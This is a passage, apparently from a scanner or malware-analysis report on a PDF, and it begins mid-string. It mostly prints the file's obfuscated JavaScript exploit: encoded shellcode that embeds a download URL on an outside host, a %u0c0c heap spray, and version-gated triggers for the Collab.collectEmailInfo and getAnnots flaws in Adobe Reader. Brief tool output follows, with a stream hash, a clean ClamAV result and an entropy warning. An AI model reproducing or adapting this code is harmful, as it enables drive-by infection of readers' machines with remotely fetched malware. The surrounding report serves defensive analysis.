e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u4970%u664d%u0072%u7468%u7074%u2f3a%u6c2f%u7361%u3774%u3737%u6562%u7473%u632e%u6d6f%u622f%u7265%u422f%u4241%u702e%u7068%u792f%u3148%u3933%u6263%u3537%u5663%u3130%u3030%u3066%u3037%u3030%u5236%u3830%u3966%u6537%u6463%u3031%u5432%u6635%u6239%u3438%u3538%u3032%u6c31%u3830%u6130%u394b%u3838%u6132%u3537%u0033";app.IA0q3G_2_3l_VU = unescape(XAI0___b__ol(J__BLfBAxyJ4u, G0_Lsy4lyJBB_5));var H_A_NH = 0x400000;var tW2__tUq = TXGi2_W411_H_g.length * 2;var sO6_O1fl = H_A_NH - (tW2__tUq+0x38);tD___a00sj = OFI2KW7_6_Mh(tD___a00sj, sO6_O1fl);var y_U6__2w = (Mfyt5C_M__kM8T - 0x400000)/H_A_NH;for (var vA05__2IA_dAy = 0; vA05__2IA_dAy < y_U6__2w; vA05__2IA_dAy++) {k678_r[vA05__2IA_dAy] = tD___a00sj + TXGi2_W411_H_g;}}function D8wFL0f1rwS(){var IN_H_h = "";for (hG0EbPf_JKdBp = 0; hG0EbPf_JKdBp < 12; hG0EbPf_JKdBp++) {IN_H_h += unescape("%u0c0c%u0c0c");}var Q6Dg4V_Qhfq = "";for (hG0EbPf_JKdBp = 0; hG0EbPf_JKdBp < 750; hG0EbPf_JKdBp++) {Q6Dg4V_Qhfq += IN_H_h;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: Q6Dg4V_Qhfq});app.clearTimeOut(V57g26b__t7O);}function YY_Ysy_6(TumUkmF_m){var Oqq_ke2 = V57g26b__t7O;if ((TumUkmF_m >= 8 && TumUkmF_m < 8.11) || TumUkmF_m < 7.1) {db3Yd0(23, "%u0c0c%u0c0c", TumUkmF_m);app.Jmd2af5y1Fqf7ao = D8wFL0f1rwS;V57g26b__t7O = app.setTimeOut("app.Jmd2af5y1Fqf7ao()", 1);} if (TumUkmF_m < 7.12) {function Xs_XLy_dj() {try {db3Yd0(22, "%u0c0c%u0c0c", TumUkmF_m);var px_7_7Gjy46m = -0x7CFCFCFD;this.getAnnots(px_7_7Gjy46m, px_7_7Gjy46m, px_7_7Gjy46m, px_7_7Gjy46m);} catch(e) {console.println("annots exception error"); }}Xs_XLy_dj();}db3Yd0(13, "%u0c0c%u0c0c", TumUkmF_m);if (Oqq_ke2) {app.clearTimeOut(Oqq_ke2);}}var IN7_Fw = 0;var y_31P8E_nm2Y = app.plugIns;for (var MX___bnHTe_3_ql = 0; MX___bnHTe_3_ql < y_31P8E_nm2Y.length; MX___bnHTe_3_ql++) {var Y_N30_v____qS2 = y_31P8E_nm2Y[MX___bnHTe_3_ql].version;if (Y_N30_v____qS2 > IN7_Fw) { IN7_Fw = Y_N30_v____qS2; }}if (app.viewerVersion == 9.103 && IN7_Fw < 9.13) {IN7_Fw = 9.13;}if (!(IN7_Fw < 9 || IN7_Fw >= 9.2) ||    !(IN7_Fw < 8 || IN7_Fw >= 8.17) ||    !(IN7_Fw < 7 || IN7_Fw >= 7.14)) {YY_Ysy_6(IN7_Fw);}
u3d_00_off00003464.bin pdf-3d-stream PDF U3D 3D stream at offset 0x3464 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.